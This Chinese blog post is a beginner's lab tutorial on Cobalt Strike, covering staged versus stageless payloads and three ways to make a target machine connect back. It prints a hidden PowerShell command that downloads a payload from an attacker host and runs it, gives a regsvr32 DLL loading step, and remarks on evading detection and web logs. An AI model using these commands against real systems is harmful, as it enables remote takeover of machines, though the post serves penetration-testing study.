Cobalt Strike基础

Cobalt Strike基础

Staged(有阶段)

在有阶段的执行方式中,分为Stager和Stage两个阶段

  • Stager(初始执行载荷):

​ 定义:Stager是Stage 1,是一个较小的、轻量级的初始执行载荷

​ 作用:与服务端建立初始连接,并从服务器下载更大的Payload,也就是Stage2

  • Stage(更大、完整的执行载荷):

    ​ 定义:Stage是Stage 2,是一个更大、更完整的执行载荷。

​ 作用:一旦Stager与服务端建立连接,Stager会请求下载Stage

Staged上线会有web日志

Stageless(无阶段)

整个Payload在一次性过程中直接执行,跟服务端交互少,更难被检测,但也会限制Payload的大小,因为只能在一次连接中传输

stageless上线没有web日志

两者大小也不一样,前者是Staged,后者是Stageless

powershell command上线

选择对应的监听器,选择PowerShell Command命令

复制payload,到靶机中

执行powershell命令

成功上线

Scripted Web Delivery (S)上线

配置路径,端口,监听器

点击运行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.20.128:8086/abc'))"

本质也是通过powershell远程加载上线,只是这次是攻击者在cs服务器开启了一个web站点,然后靶机中运行命令去请求该站点,响应的内容作为powershell要执行的命令,属于payload远程加载执行的一种方式

在靶机运行命令

成功上线

DLL文件上线

选择监听器,选择dll

将dll文件上传到靶机,然后在靶机注册dll文件上线

regsvr32 artifact.dll

上线成功

补充

在windows中,.exe,.dll,.com都是可执行文件

posted @ 2025-03-18 23:32  Hu1j  阅读(59)  评论(0)    收藏  举报